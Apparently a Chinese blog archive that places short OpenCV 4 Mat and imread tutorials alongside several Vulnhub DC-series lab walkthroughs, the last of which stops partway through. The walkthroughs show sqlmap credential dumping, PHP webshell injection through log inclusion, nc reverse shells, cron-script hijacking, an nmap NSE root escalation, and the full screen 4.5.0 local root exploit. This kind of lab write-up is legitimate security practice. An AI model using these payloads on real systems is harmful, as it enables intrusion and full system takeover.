opencv4学习总结-Mat创建和使用

Mat类的介绍

Mat类表示n维单通道或多通道的密集数值数组,它可用于存储实值或复数向量和矩阵、灰度或彩色图像、体素体积、向量场、点云、张量、直方图。

使用实例

创建一个7×7的复数矩阵并用1+3j填充

#include <opencv2/opencv.hpp>
#include <iostream>

using namespace cv;
using namespace std;


int main()
{
    Mat M(7, 7, CV_32FC2, Scalar(1, 3));



    waitKey(0);
    destroyAllWindows();

    return 0;
}

接下来打断点调试,更为生动的查看这段数据

下面这段内存就是存在矩阵M里面的数据,由于是32位矩阵,所以每段数据占四个字节,里面的0000803f从内存中提取出来就是0x3f800000,根据浮点数的转换规则,转换为十进制就是1.0,后面的0x40400000转换为浮点数十进制为3.0,可以观察到双通道的数据布局方式。

将上面矩阵转换为另一格式

#include <opencv2/opencv.hpp>
#include <iostream>

using namespace cv;
using namespace std;


int main()
{
    Mat M(7, 7, CV_32FC2, Scalar(1, 3));
    M.create(100, 60, CV_8UC(15));


    waitKey(0);
    destroyAllWindows();

    return 0;
}

create函数会让让新的数据格式覆盖掉原先的数据

对Mat矩阵进行行列变换

#include <opencv2/opencv.hpp>
#include <iostream>

using namespace cv;
using namespace std;


int main()
{
    Mat M(7, 7, CV_8UC1, Scalar(1));
    //第五行乘3加第三行赋值给第三行
    M.row(3) = M.row(3) + M.row(5) * 3;
    //把第六列复制给第一列,这里不能用等于号赋值,具体原因我还没搞明白,感觉可能是行和列格式不一样吧
    Mat M1 = M.col(1);
    M.col(6).copyTo(M1);

    waitKey(0);
    destroyAllWindows();

    return 0;
}

创建一个BGR3通道图像

#include <opencv2/opencv.hpp>
#include <iostream>

using namespace cv;
using namespace std;


int main()
{
    //创建一个320×240的3通道BGR彩色图像
    Mat img(Size(320, 240), CV_8UC3);
    imshow("src", img);
    //定义一个img上的区域
    Mat roi(img, Rect(10, 10, 100, 100));
    //赋值为绿色
    roi = Scalar(0, 255, 0);
    imshow("dst", roi);
    waitKey(0);
    destroyAllWindows();

    return 0;
}

对图像的复制,获取图像信息等操作

#include <opencv2/opencv.hpp>
#include <iostream>

using namespace cv;
using namespace std;


int main()
{
	Mat image = imread("E:/opencv_source/opencv_tutorial_data-master/images/dog.jpg");
	Mat m1, m2;
	m1 = image.clone();
	image.copyTo(m2);

	//创建空白图像
	Mat m3 = Mat::zeros(Size(8, 8), CV_8UC1);
	std::cout << m3 << std::endl;
	//获取图像宽度
	int width = image.cols;
	//获取图像高度
	int height = image.rows;
	//获取图像通道数
	int dim = image.channels();
	int d = image.depth();
	int t = image.type();
	printf("width:%d,height:%d,channel:%d,depth:%d,type:%d\n", width, height, dim, d, t);

	//创建单通道8位矩阵
	Mat t1 = Mat(256, 256, CV_8UC1);
	//给t1赋值
	t1 = Scalar(0);
	imshow("t1", t1);
	Mat t2 = Mat(Size(256, 256), CV_8UC3);
	t2 = Scalar(255, 0, 255);
	imshow("t2", t2);
    waitKey(0);
    destroyAllWindows();

    return 0;
}

对Mat进行遍历

#include <opencv2/opencv.hpp>
#include <iostream>

using namespace cv;
using namespace std;


int main()
{
    Mat image = imread("E:/opencv_source/opencv_tutorial_data-master/images/dog.jpg",IMREAD_GRAYSCALE);
    if (image.empty())
    {
        printf("no such picture");
        return -1;
    }
    imshow("input", image);
    int height = image.rows;
    int width = image.cols;
    int channels = image.channels();
    for (int row = 0; row < height; row++)
    {
        for (int col = 0; col < width; col++)
        {
            if (channels == 3)
            {
                Vec3b pixel = image.at<Vec3b>(row, col);
                int blue = pixel[0];
                int green = pixel[1];
                int red = pixel[2];
                image.at<Vec3b>(row, col)[0] = 255 - blue;
                image.at<Vec3b>(row, col)[1] = 255 - green;
                image.at<Vec3b>(row, col)[2] = 255 - red;
            }
            else if (channels == 1)
            {
                int p = image.at<uchar>(row, col);
                image.at<uchar>(row, col) = 255 - p;
            }
        }
    }
    imshow("output", image);


    waitKey(0);
    destroyAllWindows();

    return 0;
}

opencv4学习总结-图像加载

imread函数原型

Mat imread( const String& filename, int flags = IMREAD_COLOR );
  • 返回值:Mat类型,返回读取的图像Mat对象,如果读取图像失败则返回一个空的Mat对象
  • 参数1 filename:读取的图片文件名,可以写绝对路径或相对路径
  • 参数2 flags:读取标记,默认值为IMREAD_COLOR,表示用什么颜色格式读取图片
可读取的图片格式:

-   Windows bitmaps - \*.bmp, \*.dib (always supported)
-   JPEG files - \*.jpeg, \*.jpg, \*.jpe (see the *Note* section)
-   JPEG 2000 files - \*.jp2 (see the *Note* section)
-   Portable Network Graphics - \*.png (see the *Note* section)
-   WebP - \*.webp (see the *Note* section)
-   Portable image format - \*.pbm, \*.pgm, \*.ppm \*.pxm, \*.pnm (always supported)
-   PFM files - \*.pfm (see the *Note* section)
-   Sun rasters - \*.sr, \*.ras (always supported)
-   TIFF files - \*.tiff, \*.tif (see the *Note* section)
-   OpenEXR Image files - \*.exr (see the *Note* section)
-   Radiance HDR - \*.hdr, \*.pic (always supported)
-   Raster and Vector geospatial data supported by GDAL (see the *Note* section)
  • IMREAD_UNCHANGED = -1;按原样返回加载的图像
  • IMREAD_GRAYSCALE = 0;将图像转换为单通道灰度图像加载
  • IMREAD_COLOR = 1;将图像转换为BGR彩色图像加载
  • IMREAD_ANYDEPTH = 2;具有相应深度时返回16位/32位图像,否则返回8位图像
  • IMREAD_ANYCOLOR = 4;以任何可能的颜色形式读取图像
  • IMREAD_LOAD_GDAL = 8;使用gdal驱动程序加载图像
  • IMREAD_REDUCED_GRAYSCALE_2 = 16;将图像转换为单通道灰度图像并且图像尺寸减小二分之一
  • IMREAD_REDUCED_COLOR_2 = 17;将图像转换为3通道BGR彩色图像并且图像尺寸减小二分之一
  • IMREAD_REDUCED_GRAYSCALE_4 = 32;将图像转换为单通道灰度图像并且图像尺寸减小四分之一
  • IMREAD_REDUCED_COLOR_4 = 33;将图像转换为3通道BGR彩色图像并且图像尺寸减小四分之一
  • IMREAD_REDUCED_GRAYSCALE_8 = 64;将图像转换为单通道灰度图像并且图像尺寸减小八分之一
  • IMREAD_REDUCED_COLOR_8 = 65;将图像转换为3通道BGR彩色图像并且图像尺寸减小八分之一
  • IMREAD_IGNORE_ORIENTATION = 128;设置了之后部根据EXIF方向标志来旋转图像

代码示例

#include <opencv2/opencv.hpp>
#include <iostream>

using namespace cv;
using namespace std;


int main()
{
    Mat src = imread("E:/opencv_source/opencv_tutorial_data-master/images/dog.jpg",IMREAD_COLOR);
    if (src.empty())
    {
        printf("check your picture");
        return -1;
    }
    imshow("input", src);



    waitKey(0);
    destroyAllWindows();

    return 0;
}

vulnhub过关之旅(DC-8)

1.信息收集

1.1IP信息探测

sudo masscan --ping 192.168.100.0/24 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-12 02:06:52 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.153

1.2端口服务探测

sudo nmap 192.168.100.153 -p- -sV -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-12 10:08 CST
Nmap scan report for 192.168.100.153
Host is up (0.00049s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  http    Apache httpd
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
MAC Address: 00:0C:29:A1:10:D8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.49 ms 192.168.100.153

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds

2.寻找漏洞

首先访问目标机的80端口查看网页内容,并且点击左侧的导航栏可以观察到网页的变化

看到url附加了nid变量,然后页面上有了其他信息显示,先试试sql注入

加了单引号后有sql的报错,可以确定这里有个sql注入漏洞了,接下来利用一下,看能不能找到什么用户密码之类的信息,直接sqlmap启动。

sqlmap -u "http://192.168.100.153/?nid=1" -v 1 --batch

成功获得注入信息

获得库名

sqlmap -u "http://192.168.100.153/?nid=1" -v 1 --dbs --batch

获得库中的表名

sqlmap -u "http://192.168.100.153/?nid=1" -v 1 -D d7db --tables --batch

主要关注一下带users的表,接下来列出users表中的数据

sqlmap -u "http://192.168.100.153/?nid=1" -v 1 -D d7db -T users --dump --batch

可以看到里面共有两个账户admin和john,并且他们两个的密码都是加了密的,这里用户名john应该是提示用john工具来解密,把这两个加密后的密文分别保存至admin.txt和john.txt,然后使用kali的john破解密码。

john admin.txt
john john.txt

发现只成功破解出了john用户的密码,这里如果之前已经破解过的密码再次破解会出现没有密码需要crack的提示,这里进入当前目录下的.john目录,然后找到john.pot文件查看里面的内容就会有破解过的密码记录,删掉的话就可以再次破解了。

然后使用dirsearch爆破目录来找到后台的登录地址

python3 dirsearch.py -u 192.168.100.153 -o result.txt

然后使用刚刚收集到的账号密码进行登录后台

登录后台后接下来寻找一下有没有可以对页面进行编辑的地方,这样切换到php代码可以写入一句话木马。

在content页面找到了一个可以编辑的选项

然后点击edit后再一番探索又成功找到了可以写php代码的地方

注意这个页面需要我们来到主页的contact us然后提交信息后才可以看到。

可以看到后门成功写入,接下来用蚁剑连接,然后使用虚拟终端反弹回来一个shell。

nc -e /bin/bash 192.168.100.129 12345
nc -lvnp 12345
python -c 'import pty;pty.spawn("/bin/bash")'

3.提权

成功获得一个www-data用户后,接下来想办法提权到root

尝试使用sudo -l来寻找免密root的程序,发现需要密码,不太行,再使用find方法来寻找

find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount

找到一个值得怀疑的exim4程序

接下来使用searchsploit寻找这个程序的漏洞

searchsploit exim

再输入命令查看一下exim的版本号为4.89

exim4 --version

所以这里使用这个符合版本要求的提权利用脚本,把该sh文件复制到当前目录下,cat一下查看查看内容,然后把它上传到目标机的/tmp目录下执行,发现会报错,显示在每一行的末尾会有隐藏的字符,应该是Windows和Linux换行的区别问题,这里我们把它的内容单独复制出来然后新建一个文件重新上传。

另外注意这个脚本用法里面,有两种使用模式,第一种也就是默认的在这里是无法获取root权限的,第二种模式可以成功获得root权限。

vulnhub过关之旅(DC-7)

1.信息收集

1.1目标ip探测

sudo masscan --ping 192.168.100.0/24 --rate=1000

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-11 07:03:16 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.152                                 
Discovered open port 0/icmp on 192.168.100.2

1.2目标端口服务探测

sudo nmap 192.168.100.152 -p- -sV -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-11 15:05 CST
Nmap scan report for 192.168.100.152
Host is up (0.00054s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
|   256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_  256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/ 
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ 
| /user/password/ /user/login/ /user/logout/ /index.php/admin/ 
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to DC-7 | D7
MAC Address: 00:0C:29:22:5F:BC (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.54 ms 192.168.100.152

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.87 seconds

2.寻找漏洞

首先在浏览器中输入目标的IP地址192.168.100.152,点击右上角log in

这里后台需要用户名和密码才能登录进去,而且网页上基本也没啥功能,这里应该是没有什么web上的漏洞,观察到左下角有个@dc7user,这里可能是提示我们这个网站的作者名字,让我们去搜索引擎搜索源码。复制到百度里面搜索(谷歌啥的都行)成功在GitHub上找到源码下载地址。

把他的项目下载下来之后,发现这个源码应该不是这个目标机子里面部署的网站源码,因为页面组成不太一样,这时去找一下配置文件看看有没有什么账号密码的线索。果不其然成功找到。

这里有它连接数据库的账号和密码,但是目标并没有开放3306等数据库相关的端口,所以我们拿它去试试后台登录或者ssh登录,最终成功登录进ssh

查看这个用户的邮箱

发现都是一些root用户的成功备份命令

看到里面使用到了drush命令,这个命令可以拿来修改后台用户的密码,进入到/var/www/html目录下,然后运行drush修改密码的命令(这里不进入html目录下会命令失败)

drush user-password admin --password="admin"
Changed password for admin

然后成功用修改后的账号密码登录到了网站后台

找到后台里面修改页面内容的界面也就是content页面

选择第一个主页点击edit编辑,然后使用代码模式尝试写入一句话后门,发现写入失败,搜了一下发现这个drupal8为了安全默认是不带php的,需要给它安装一个php的插件后才可以使用php脚本,所以我们按照安装插件的教程给它安装好php的插件,再写入一句话后门。

然后使用蚁剑成功连接

然后尝试使用虚拟终端来反弹回来一个交互式shell

nc -e /bin/bash 192.168.100.129 12345
nc -lvnp 12345
python -c 'import pty;pty.spawn("/bin/bash")'

3.提权

进入到有backups.sh脚本的目录下,使用ls -l命令可以看到www-data用户对该文件是有rwx权限的,并且从上面步骤中得知root账户是会定期执行该脚本,所以我们用www-data用户修改这个脚本文件的内容,用它反弹一个root权限的shell回来。

echo "nc 192.168.100.129 12346 -e /bin/bash" > /opt/scripts/backups.sh

kali那边设置好监听后,坐等它自动执行然后得到反弹回来的shell,成功获得root权限

vulnhub过关之旅(DC-6)

1.信息探测

1.1目标IP获取

sudo masscan --ping 192.168.100.0/24 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-02 08:10:57 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.149
Discovered open port 0/icmp on 192.168.100.2
Discovered open port 0/icmp on 192.168.100.151

1.2目标端口服务获取

sudo nmap 192.168.100.149 -p- -sV -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 16:13 CST
Nmap scan report for 192.168.100.149
Host is up (0.00028s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
|   256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_  256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to http://wordy/
MAC Address: 00:0C:29:8D:31:85 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.28 ms 192.168.100.149

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.95 second

成功获得目标的ip为192.168.100.149以及开放端口为22和80。

2.漏洞寻找

2.1访问80端口寻找漏洞

首先在浏览器中输入目标ip,这时需要修改hosts文件来绑定域名和ip

可以看到是一个wordpress的网站,于是可以用kali的wpscan来对其进行扫描和用户枚举

wpscan --url http://wordy --enumerate u

成功获取到该网站的后台用户名

把这些用户名保存到user.txt文件中,接下来想办法找到密码字典来爆破,根据作者给出的提示信息:

我们可以知道密码字典可以用以下命令获取:

cat /usr/share/wordlists/rockyou.txt | grep k01 > pwd.txt 

头铁试了一下直接用rockyou这个字典,但是时间实在是太长了!完全等不了。

接下来用wpscan来对wordy网站进行后台爆破

wpscan --url http://wordy -U user.txt -P pwd.txt

成功获取到mark的密码为helpdesk01

然后输入url为http://wordy/wp-admin来跳转到后台登录页面,使用mark的账号密码成功登录

探寻一番后发现了一个插件,再进去探索一下这个插件的各种功能,成功在tools界面找到了命令执行漏洞

再ip那个文本框里面输入构造好的命令,再点击lookup按钮,就可以成功执行任意命令。

于是利用nc构造反弹shell命令

nc -e /bin/bash 192.168.100.129 12345
nc -lvnp 12345

但是网页里面的输入框有输入字符数量限制要求,直接用burp抓包来构造命令,成功获得反弹shell

再用命令python -c ‘import pty;pty.spawn(“/bin/bash”)’切换shell界面

3.提权

此时是www-data用户,权限很低,接下来进行提权操作

首先进入home目录看到有四个用户,分别进去寻找一下有用信息

成功在mark的目录下找到了有用信息,里面有graham用户的账号密码。

接下来用此账号密码来切换成graham

www-data@dc-6:/home/mark/stuff$ su graham
su graham
Password: GSo7isUM1D4

graham@dc-6:/home/mark/stuff$

切换之后来看一下有没有什么免密就可以用其他用户权限来执行的程序

graham@dc-6:/home/mark/stuff$ sudo -l
sudo -l
Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

成功找到一个jens的sh脚本文件,可以以jens的身份来执行它。

所以在backups.sh中写入一下bash命令

nc -e /bin/bash 192.168.100.129 12346

此时kali那边监听12346端口,成功获取到反弹回来的shell

再查看jens有没有什么免密执行的程序

jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap

看到jens可以免密码使用root用户来执行nmap,那么可以利用nmap能执行nse脚本的特性来提权称为root。

写一个nse脚本为hahaha.nse,内容为

jens@dc-6:~$ cat hahaha.nse
cat hahaha.nse
os.execute("/bin/sh")

输入nmap命令来运行此脚本

jens@dc-6:~$ sudo nmap --script=./hahaha.nse
sudo nmap --script=./hahaha.nse

Starting Nmap 7.40 ( https://nmap.org ) at 2021-08-02 18:51 AEST
# whoami
root
# 

成功获取root权限

vulnhub过关之旅(DC-5)

1.存活主机探测

1.1锁定目标ip

sudo masscan --ping 192.168.100.0/24 --rate=1000

目标ip为192.168.100.148

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-02 02:30:00 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.2                                   
Discovered open port 0/icmp on 192.168.100.151                                 
Discovered open port 0/icmp on 192.168.100.148

1.2确定目标主机开放端口

sudo nmap 192.168.100.148 -p- -sV -A

可以看到目标主机开放了80端口和111端口相关的一些服务

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-02 10:32 CST
Nmap scan report for 192.168.100.148
Host is up (0.00027s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34681/tcp   status
|   100024  1          48384/tcp6  status
|   100024  1          49450/udp   status
|_  100024  1          60923/udp6  status
34681/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:D8:B1:E7 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.27 ms 192.168.100.148

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.76 seconds

2.寻找漏洞

2.1访问80端口寻找漏洞点

浏览器输入192.168.100.148访问网站,可以看到是一个普通的企业门户页面

其中contact的页面可以交互,我们输入一些东西点击提交观察一些网站的反应

一开始是contact.php页面,点击submit提交后会跳转到thankyou.php,而且观察url后面的参数,除了我们输入的一些参数,还有一个file参数,猜测可能是文件包含,而且最下方的copyright后面跟着的时间也一直变化。

接下来我们来验证一下自己的猜想,把file参数改成contact.php,看看是不是能包含进来。

http://192.168.100.148/thankyou.php?file=contact.php

果然,我们在thankyou的界面成功打开了contact界面,所以确定了这是个文件包含漏洞。

2.2漏洞利用

首先可以看到网站的中间件是nginx的,所以可以试一下把php一句话木马写入日志,然后利用文件包含日志来获取网站的控制。

构造url为:

http://192.168.100.148/thankyou.php?file=/var/log/nginx/access.log

看到返回界面为:

接下来构造漏洞利用的url为:

http://192.168.100.148/<?php phpinfo();eval($_POST['cmd']);?>

然后包含进来日志,发现出现phpinfo页面

说明的一句话木马也是可以使用的,于是使用蚁剑进行连接。

打开蚁剑的虚拟终端,使用nc命令反弹一个shell,并且kali使用nc监听

nc -lvnp 12345//kali的nc监听
nc 192.168.100.129 12345 -e /bin/bash//目标主机的发送命令
listening on [any] 12345 ...
connect to [192.168.100.129] from (UNKNOWN) [192.168.100.148] 40078
whoami
www-data

成功获取shell后在用命令python -c ‘import pty;pty.spawn(“/bin/bash”)’返回一个友好的shell。

3.提权

获得shell后目前的用户是www-data,权限非常低,接下来探测一下哪些程序具有root权限

find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

找到一个screen程序,这个程序是爆过漏洞的,那应该是利用它提权了。

寻找关于screen 4.5.0的漏洞

searchsploit screen 4.5.0 

成功找到两个文件,我们把它们复制过来看下怎么用

cat 41154.sh       
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

这段脚本的意思是先编译两个c语言程序,然后执行后面的sh脚本代码,因为直接执行会失败,所以把里面的c语言代码复制出来单独编译和利用。

首先创建一个 libhax.c 文件和一个 rootshell.c ,并把相应内容复制进去

然后使用编译命令编译

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

然后把后面的sh脚本语句单独复制成run.sh文件

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

现在目前得到了三个文件,把这三个文件通过蚁剑上传到目标机的tmp文件夹下,然后运行run.sh脚本,成功获取root权限。

www-data@dc-5:/home/dc$ cd /tmp
cd /tmp
www-data@dc-5:/tmp$ ls
ls
libhax.so  rootshell  run.sh
www-data@dc-5:/tmp$ chmod +x run.sh
chmod +x run.sh
www-data@dc-5:/tmp$ ls
ls
libhax.so  rootshell  run.sh
www-data@dc-5:/tmp$ ./run.sh
./run.sh
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# whoami
whoami
root
# 

vulnhub过关之旅(DC-4)

1.信息收集

1.1存活主机探测

使用masscan快速探测目标ip

sudo masscan --ping 192.168.100.1/24 --rate=1000

成功获得目标ip为192.168.100.146

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-25 07:25:06 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.146                                 
Discovered open port 0/icmp on 192.168.100.2

1.2目标端口扫描

使用nmap对目标主机进行端口探测

sudo nmap 192.168.100.146 -p 1-65535 -sV

扫描结果为:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 15:27 CST
Nmap scan report for 192.168.100.146
Host is up (0.00088s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    nginx 1.15.10
MAC Address: 00:0C:29:E5:33:93 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds

从结果可以看出目标主机开了80端口和22端口,这就访问一下80端口看看网页上有没有什么漏洞。

2.漏洞探测与利用

在浏览器中输入192.168.100.146尝试访问网页

输入用户名admin,然后尝试一些弱密码均失败,但是没有防护穷举的措施,所以这里采用burp爆破(本来想用sql注入的但是没有效果,之后把源码打包过来发现它并没有连接数据库)。

首先burp抓发送到intruder模块

通过使用top1000的密码字典成功获得admin的登录密码happy,使用这个密码成功登录

点击command,发现里面有个可以执行Linux命令的功能,接下来进行抓包和修改命令执行

对数据包中的命令进行修改:nc 192.168.100.129 12345 -e /bin/sh
在kali中输入nc命令监听:nc -lvnp 12345

成功得到反弹回来的shell

3.提权

上面操作和获得了一个www-data用户的shell,接下来进行提权操作。

首先进入到/home目录下查看用户,发现只有jim用户下有文件,进入jim的文件夹中查看里面的文件,只能查看backups文件夹中的密码本文件,查看该文件猜测它可能是个登录密码字典。

接下来使用home目录下的三个用户名生成user.txt文件,然后把该旧密码本备份文件中的密码生成pass.txt文件,使用hydra爆破ssh登录。

hydra -L ./user.txt -P ./pass.txt -t 20 -vV -e ns 192.168.100.146 ssh -o ssh.txt -f  

成功获得jim的登录密码为 jibril04

[22][ssh] host: 192.168.100.146   login: jim   password: jibril04

使用该密码进行ssh登录,然后查看mbox中的内容发现是一封邮件。

jim@dc-4:~$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
	(envelope-from <root@dc-4>)
	id 1hCiQe-0000gc-EC
	for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

